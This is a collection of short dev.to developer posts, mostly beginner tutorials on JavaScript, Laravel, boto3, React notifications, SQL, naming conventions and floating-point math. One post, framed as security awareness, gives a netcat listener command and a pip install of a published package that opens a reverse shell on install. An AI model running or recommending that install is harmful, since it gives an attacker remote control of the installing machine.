teleren/devto huggingface dataset:
Looping Over Objects.
Tags: javascript, beginners, react, tutorial
Published: 2022-07-25 16:05:59

Ever wanted to loop over an object and change all of the values? Like when you're building a react app with state and you have multiple inputs. Now maybe you want to clear all of the state with a clear button? Let me show you one way I came by from the amazing [Wes Bos](https://wesbos.com/).

I will be showing this in vanilla JS.

First, let's make the object

```
const product1 = {
   name: 'Giant Sour Gummy Worm',
   price: 35.00,
   description: 'A giant gummy worm coated with sour powder and waiting to be eaten!',
   image: 'https://images.vat19.com/worlds-largest-sour-gummy-worm/worlds-largest-gummy-worm-sour-flavor-1.jpg',
   availability: 'FOR_SALE',
}
```
Now that we have the object we need to loop over it by changing it to an array. Using `Object.entries()`

```
Object.entries(product1)
```
If we `console.log()` that we should get something like this.
```
[
  [ 'name', 'Giant Sour Gummy Worm' ],
  [ 'price', 35 ],
  [
    'description',
    'A giant gummy worm dunked in sour powder and waiting to be eaten!'
  ],
  [
    'image',
    'https://images.vat19.com/worlds-largest-sour-gummy-worm/worlds-largest-gummy-worm-sour-flavor-1.jpg'
  ],
  [ 'availability', 'FOR_SALE' ]
]
```
Do you see how each array has two items? The first is the key and the second is the value!

Now if we simply `map()` over the array we can change all of the inner array values.

```
const mappedProduct = Object.entries(
    product1
    ).map(([key, value]) => [key, ''])
```
When we map over it now we must destructor the key and value with [key, value]. When we want to change all values we enter a new value like so [key, 'new value']. In this case we're just clearing the values so I left an empty string to keep it blank.

Now `console.log(mappedProduct)` will give us 

```
[
  [ 'name', '' ],
  [ 'price', '' ],
  [ 'description', '' ],
  [ 'image', '' ],
  [ 'availability', '' ]
]
```
Awesome now all we have to do is change it back to an object! This is super simple all we need is `Object.fromEntries()`. Everything has to be wrapped in it, Like this.

```
const clearedProduct = Object.fromEntries(
  Object.entries(
    product1
  ).map(([key, value]) => [key, ''])
)
```
And with that we're done, if we `console.log(clearedProduct)` we'll get this.

```
{ 
  name: '', 
  price: '', 
  description: '', 
  image: '', 
  availability: '' 
}
```

If you're still having some trouble visualizing this, here is a [replit I made](https://replit.com/@SirDigoDigo/Loooping-Over-Objects?v=1)  

**TLDR: Using `Object.entries()` and `Object.fromEntries()` we can loop over an object by turning it into an array and then back into an object**

```
Object.fromEntries(
  Object.entries(
    objectYouWantToLoopOver
  ).map(([key, value]) => [key, ''])
)
```
Laravel Multiple Authentication
Tags: laravel, php, beginners, webdev
Published: 2022-07-25 16:01:22

## How to create Laravel 8 Multiple Authentication

I created Laravel Multi Auth system for both Admin and User side. For example, if you login with Admin credential, you will be redirected to the Admin Dashboard
If you login with User credential, you will be redirected to the User Dashboard

![laravel](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lqm98ee17i6b8j4hgu33.png)
 
 
## Admin Credential 
<table>
    <tr><th>Email</th><th>Password</th><tr>
    <tr><td>admin@admin.com</td><td>password</td><tr>
</table>

## User Credential 
<table>
    <tr><th>Email</th><th>Password</th><tr>
    <tr><td>user@user.com</td><td>password</td><tr>
</table>

## Download Source Code
◽Check it out [Link](https://github.com/vinobe21/Laravel-8-Multiple-Authentication)
◽[Github](https://github.com/vinobe21)

## Features

- Login page for both Admin and User

- Dashboard for both Admin and User side with different routes

- Register New User 


## How to Install?

- Clone the repository [Link](https://github.com/vinobe21/Laravel-8-Multiple-Authentication)
- Rename .env.example file to .env
- Need database connection and Create database 
- Run `composer install` or `composer update`
- Run `php artisan key:generate`
- Run `php artisan migrate`
- Run `php artisan db:seed`

> Share your feedback 👇
Upload files to AWS S3 using Python
Tags: aws, aws3, python, storage
Published: 2022-07-25 15:55:57

Hi, guys in this blog I'm going to share how you can upload files to AWS S3 using **Python**. Before getting started make sure that you have got the following requirements installed on your machine:
 
- AWS CLI
- Configured IAM user 
- Python

To operate we will be using **Boto3** which is an **AWS SDK** for Python which provides API for AWS infrastructure services.

We will be making use of the **upload_file** method. This method accepts a **file name**, a **bucket name**, and an **object name**. 

```
import boto3
s3_client = boto3.client("s3")
perform = s3_client.upload_file("FILE PATH","BUCKET NAME", "OBJECT NAME")
```

**Explaining the code:**

First of all, we import boto3, then we create an S3 client so that we can access the different methods offered by boto3, and we'll be using the **upload_file** method to upload our file. Upon running the code the mentioned file will be uploaded to the respective **S3 bucket**.

It's this simple to upload a file from your machine to an S3 bucket using Python, Hope that this was helpful to you.
Do you have any issues with your current stack?
Tags: webdev, programming, opensource
Published: 2022-07-25 15:54:11

Hello Everyone,
My team and I are in the ideation phase for an open source project. We could use a word of advice or insight on currently popular/emerging technologies. What is a software technology/tool/service/framework that you currently use that you feel could be improved: anything from reducing render time, better UI features for the developer, caching, accessibility, or things that seem to be inconvenient. With such a variety of technologies and topics out there, it’s hard to know where to even begin researching, so we would greatly appreciate any help and advice, thank you!
What are you building?
Tags: build, mobile, javascript, showdev
Published: 2022-07-25 15:54:00

Short post, I want to know what are you building and why are you building it? Let me know in the comment section. Personally I am building a Jiu Jitsu training log to track how many hours I have put into my journey. There are some other things I want to add to it such as a short notes with how the training went and stats record for tournaments engaged in with the win loss record attached to it.
🧑🏽‍💻 Want to try Luos with an example?
Tags: opensource, microservices, embedded, luos
Published: 2022-07-25 15:47:19

Luos engine provides examples for different MCUs, and a HAL for MCU families.

⏩ https://github.com/Luos-io/luos_engine/tree/main/examples

Try it now and feel free to exchange with our team of maintainers on Discord!
Hacking and Getting Remote Access with PIP
Tags: beginners, python, programming, security
Published: 2022-07-25 15:43:28

RCE with pip ? Yes you read it right.

First before getting our hands dirty, lets see what is pip
Most Python developers would obviously knows what is pip.
For other developers, pip is the package installer for Python. You can use pip to install packages from the Python Package Index and other indexes. It is npm, apt, homebrew (Some other package manager you name it) for python.

## How does it works

Let's assume you wanna send http request from python well you could use famous package name [requests](https://pypi.org/project/requests/)
To get requests package on your computer, you will using the command :
`pip install requests` That's it.
This will install the package and you can use the package can be used by importing the package.

So how the pip install works, Simple it gets the source code from the server and execute the script in your computer and install the requirements, this is how pip install works.

## What if you write your own reverse shell package ?
That's what I did, I wrote a package which allows the attacker to get the reverse shell of the victim.
I didn't want to make a global reverse shell thing, so i simply wrote the script to be executed on locally on the machine.

Here's the demo video check it out: [Link](https://youtu.be/NOoJItXU9ps)
The package is available: [Link](https://pypi.org/project/pip-remote-access/)   
1. First listen on 1234 port with nc 
`nc -lvp 1234`
2. Now install the package
`pip install pip-remote-access`

Now the listener will get the reverse shell.

## How to prevent this ?
This module is to show and create a awareness among developers, So when installing package verify that it is legal verified publisher.
PyPi.org doesn't checks the github page whether it was the appropriate right developer, It just get whatever github the developer gives and displays the stars and forks from it.
So better get into the github page of the package and check the page, this way you also get to know the code.
Install the package with binary only mode it will be much more safe.
How to use Notistack snackbar outside of react components
Published: 2022-07-25 15:38:00

Notistack is great tool for handling notifications. Sometimes we create a separate js file for calling api. But normally it is not available outside of react components. 

Today we are gonna solve this issue.For this we have to follow couple of steps.

> I'm showing this for NextJS


<u>**JavaScript**</u>
```
import { useSnackbar } from 'notistack';

let useSnackbarRef;
export const SnackbarUtilsConfigurator = () => {
  useSnackbarRef = useSnackbar();
  return null;
};

export default {
  success(msg) {
    this.toast(msg, 'success');
  },
  warning(msg) {
    this.toast(msg, 'warning');
  },
  info(msg) {
    this.toast(msg, 'info');
  },
  error(msg) {
    this.toast(msg, 'error');
  },
  toast(msg, variant = 'default') {
    useSnackbarRef.enqueueSnackbar(msg, { variant,    autoHideDuration: 1500 });
  },
};
```



<u>**TypeScript**</u>

```
import { useSnackbar, VariantType, WithSnackbarProps } from 'notistack'

let useSnackbarRef: WithSnackbarProps
export const SnackbarUtilsConfigurator: React.FC = () => {
  useSnackbarRef = useSnackbar()
  return null
}

export default {
  success(msg: string) {
    this.toast(msg, 'success')
  },
  warning(msg: string) {
    this.toast(msg, 'warning')
  },
  info(msg: string) {
    this.toast(msg, 'info')
  },
  error(msg: string) {
    this.toast(msg, 'error')
  },
  toast(msg: string, variant: VariantType = 'default') {
    useSnackbarRef.enqueueSnackbar(msg, { variant })
  }
}
```


> Import SnackbarProvider from notistack
> Import the SnackbarUtilsConfigurator  function in _app.js.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tqxndo7kix3itqy7s5if.png)
 

Example
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v7yil4c0keb9ysszxfxa.png)


 Thank you for reading 

Connect With Me : [Github](https://github.com/Sakib-lite) [LinkedIn](www.linkedin.com/in/sakibul-anwar-5b06ab181)
Short Technical Tips / Highlights for Better Design and Coding
Tags: softwareengineering, craftsman, coding
Published: 2022-07-25 15:12:00

Pay high attention to choosing the right name for every thing [variable, method, class, test, package, .. ]
- Apply SRP principle in all levels
- Favor Composition over Inheritance 
- The OPP and Reflection don't mix
- Avoid using Static class
- Follow Tell, Don't Ask principle
- Abstract the commonality and eliminate redundancy
- IF-Else is potentially anti-pattern
- The better, The code-base evolve diagonally (More details: https://lnkd.in/er3uVNV , https://lnkd.in/gSvFmhh)
- We will not hit the functionality from one shot, develop it in rounds "in Agile" [Happy path scenario, enhancement, fault scenario, boundaries, ..]
- Study the anatomy of the problem carefully. The analysis should not only from technical perspective, do the analysis semantically.
- Diagram the design then document the achieved implementation and learnt lessons  
- The refactoring gives a new live to the solution
- Always align
- Avoid hard coding and strings, develop over configurable business rules and meta-data.
- Design for Testability
- At the end, It depends!
  
open question: We should ask ourselves when writing a code, to what extent will this code live or survive? Have we taken into account the possible changes? How will the code absorb a thrown stumbling-block and afford the growth?

> "The first principle of software engineering isn't DRY or YAGNI or one of the SOLID principles; it's common sense."
-Tim VanFosson
SQL Joins: Inner, Left, Right, and Full
Published: 2022-07-25 14:57:00

For data engineers and data scientists, SQL is valuable expertise. All modern data warehouses as well as data or delta lakes have SQL interfaces. Understanding how an SQL query is executed can help you write fast and economical queries.

Once you understand SQL concepts like join and window, you will intuitively understand the similar APIs in Spark, Pandas, or R. After all, SQL is one of the ancient programming languages that are still best for what they were invented for (another such example is C for system programming).

SQL first [appeared in 1974](https://web.archive.org/web/20070926212100/http://www.almaden.ibm.com/cs/people/chamberlin/sequel-1974.pdf) for accessing data in relational databases, and its latest standard was published in [2016](https://www.iso.org/committee/45342/x/catalogue/p/1/u/0/w/0/d/0). It is a declarative language (i.e. a programmer specifies what to do, and not how to do it) with strong static typing.

SQL Join is one of the most common and important operations to merge data with different attributes (or columns) from different sources (or tables). In this article, you will learn about various kinds of SQL joins and best practices to write efficient joins on large tables.

[Continue reading »](https://www.ml4devs.com/articles/sql-joins-tutorial-inner-join-left-join-right-join-full-join-cross-join/)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r9s39zqsb77p9du7ygga.jpg)
See my Hackerrank Achievements.....
Tags: hackerrank, challenges, badges, achievements
Published: 2022-07-25 14:23:29

Hello guys, 
I hope you enjoyed your weekend very well.
See my 2 months older achievement.....

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d5e38mqs2me4iy41ax97.png)


I don't know how to download these badges individually;
If you know then tell me the steps for it!
Streaming Heatwave
Published: 2022-07-25 14:18:02

https://www.linkedin.com/pulse/streaming-heat-wave-july-25-2022-tim-spann-

Streaming in the Heat Wave: July 25, 2022
Published on July 25, 2022
Edit article
View stats

Tim Spann 🇺🇦Status is online
Tim Spann 🇺🇦
Developer Advocate @ StreamNative, Apache Pulsar, FLiP Stack, DeveloperWeek Advisor 🇺🇦
93 articles
This week I am leading a 3 day class on Apache Pulsar Operations on K8. I am also doing a meetup and a talk at the very cool Code on the Beach. Try to stay cool this week, temperatures are really up.
No alt text provided for this image

July 25, 2022. 2 pm EST. Code on the Beach. Virtual Florida. Deep Dive into Building Streaming Applications with Apache Pulsar

July 26, 2022. 3 pm EST.

Last week I ran a Developer class for Apache Pulsar, it was a lot of fun and "Tiny The Skeleton" assisted.
No alt text provided for this image

PASSES

ARTICLES
I have updated the IoT Messaging refcard with some interesting improvements.

EVENTS
For any of my FLiP Stack Weekly readers, I have a really good discount code for the conference so reach out. It will be good to see you in August.
Pulsar Summit!!!!!!!








August 4, 2022 - FLiPN Stack. 1 PM EST

August 6-8, 2022: ApacheCon Asia. Virtual.

Sept 13-16, 2022: OSS Summit

Oct 3-6, 2022: Apache Con, New Orleans, LA.

Oct 4-5, 2022: Current: Apache Kafka Summit. Austin, TX.

Oct 25, 2022: KubeCon: Detroit
Nov 23, 2022: Big Data EU
CODE










VIDEOS






TRAINING

Published by
Most Common Programming Case Types
Tags: programming, codenewbie, webdev, beginners
Published: 2022-07-25 14:16:00

When you dive into programming you will notice how casing and naming things is not exactly the same as it is in the proper English language. Naming a variable UserIput or userinput makes a big difference. You may be learning a language where it does not matter however sticking to the rules will help you in your future learning of other languages.

In this article we will go through the basics of case types however besides the difference, the most important lesson to remember is this: never name the same variable with different case types and be consistent with it. 
**_Do_not Change it hereAnd there because You MAY EndUp with Bugs! _**


## camelCase
When it comes to camelCase, you always need to start with lowercase word and every next word needs to be uppercase.

_**Example:**_

![camelCase](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lxnghxkqsqmezi34j9d2.png)

## PascalCase
Unlike camelCase, every word starts with uppercase letter, even the first one.

_**Example:**_

![PascalCase](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/136c5n8yv6whhlavkn11.png)

## snake_case
In this case, every word needs to be in lowercase letter however we separate then using underscore ("_"). 

_**Example:**_

![snake_case](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r0dqx6zeabe385phabss.png)

## UPPER_CASE_SNAKE_CASE
UPPER_CASE_SNAKE_CASE is almost same like regular snake_case however instead of lowercase letters, all letter need to be uppercase this time.

_**Example:**_

![UPPER_CASE_SNAKE_CASE](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yesubsjlc3s80noass9p.png)

## kebab-case
kebab-case visually is really almost like döner kebab. Every word is in lowercase letter separated by the hyphen, dash, subtract, negative or minus sign. 

_**Example:**_

![kebab-case](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z6s6q6j8muladzwzisie.png)


## Which one to use?
First, it depends on the language you use and how sensitive it is to the case type.
Secondly, depends on your preference.
Lastly, depends on how the variables have been declared from the very beginning.

Personally, I use JavaScript and I love using camelCase. In React I also use PascalCase. For me, it mostly happened accidentally. I just saw how everyone was doing it and I did the same without really learning the reason I use this or that. 
If you are a beginner like me and most likely you know one or two languages, I just suggest sticking to the case which is common in the language you use. 


Here are several common examples that have become a general rule, and convention:


## JavaScript
1. camelCase for naming variables
2. PascalCase for classes

## React
1. PascalCase for naming files and components

## Python
1. snake_case for method names
2. UPPER_CASE_SNAKE_CASE for constants

## Ruby
1. PascalCase for classes and modules
2. UPPER_CASE_SNAKE_CASE for constants
3. snake_case for variables and methods




So, which case type do you love to use? 👀
July 25, 2022 Streaming Heatwave
Published: 2022-08-01 13:23:35

---
title: July 25, 2022 Streaming Heatwave
published: true
date: 2022-07-25 14:16:00 UTC
tags: 
canonical_url: 
---

 [https://www.linkedin.com/pulse/streaming-heat-wave-july-25-2022-tim-spann-](https://www.linkedin.com/pulse/streaming-heat-wave-july-25-2022-tim-spann-)
Why do computers suck at math?
Tags: javascript, webdev, beginners, programming
Published: 2022-07-25 14:14:13

> ######_I discovered something strange when experimenting with JavaScript a few days ago, so I did some research and found my answers._
> ######_I'm writing this article in the hopes that some of you will find it useful or may learn something new._

I used to believe that computers were better at math than humans, until I tried adding `0.1 + 0.2` and got the result `0.30000000000000004` in my browser console.

![0.1 + 0.2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m0po0zrbg2rdbe48vsib.png)
Then I performed this comparison `0.1+0.2===0.3` and got the output `false`.

![0.1+0.2===0.3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bb9tinx9puwjge97x8br.png)
I initially believed it was a bug in **JavaScript**, so I attempted the same thing in **Java** and **Python** and had the same result in both.

After doing a lot of research, I concluded this is not an bug.
I found out this is math: **floating-point arithmetic**.
_Let's go a little deeper to see what's going on behind the scenes._

Computers have a limited amount of memory and so they need to make a trade-of between range and precision.

_Numbers in JavaScript should be stored within 64 bits_, which means we can have integers accurate up to 15 digits and a maximum of 17 numbers after the decimal point. It is called a **floating point** because there is no fixed number of digits before or after the decimal point, allowing it to represent a wide range of numbers both big and small.

The problem is that computer use a **Base-2 system** i.e. binary while humans use a **Base-10 system** that leads to rounding errors when all the memory has been used up.

![base2 to base10](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cs4lfzxez8jgnk9xjvxc.png)

This is the reason behind getting `0.1 + 0.2 = 0.30000000000000004`.

####Thank you for reading this article; I have not detailed the entire math behind it, but only enough for you to comprehend what's going on.
PHP 8.2.0 Beta 1 is now out
Tags: php, webdev, discuss, opensource
Published: 2022-07-25 14:06:14

The first Beta version of PHP 8.2.0 is now available. This version continues the PHP 8.2 release cycle and includes changes such as:

- Updated the mime-type table for the builtin-server
- Fixed potential overflow for the builtin server via the PHP_CLI_SERVER_WORKERS environment variable
- Added error_log_mode ini setting
- Added initial support for JIT performance profiling generation for macOS instrument

That's brief to keep you updated. Hope you like this.

Thank you.
JavaScript startsWith() and endsWith() string methods, a brief
Tags: javascript, webdev, tutorial, programming
Published: 2022-07-25 14:00:00

startsWith() and endsWith() in JavaScript are sibling methods that return a boolean true if a string starts or ends with a specific string, respectively. Else, false.

They are supported by most browsers, but Internet Explorer. They take two parameters, a search value, and a length value (optional).

Syntax: `String.startsWith(string, length)`

```js
const string = "Developers love DevBytes";

string.startsWith("Dev");     // True
string.startsWith("DevBytes");   // False

string.endsWith("Bytes");     // True
string.endsWith("Dev");     // False
```
Change cursor without rerendering
Tags: react
Published: 2022-07-25 13:59:41

I have a React component that I need to change the cursor type based on the location of the mouse cursor.  There is no independent DIV to target.

Mouse cursor is dynamically set on the style of the parent div.
I'm changing the cursor type with onHover event.  When onHover event is triggered, mouse screen location is checked and if the mouse is in a specific zone, I run
SetCursor('e-resize')
It is working as expected, except that every time the cursor type is changed, the screen rerenders due to state change of cursor.
How can I prevent the screen render when the cursor type changes?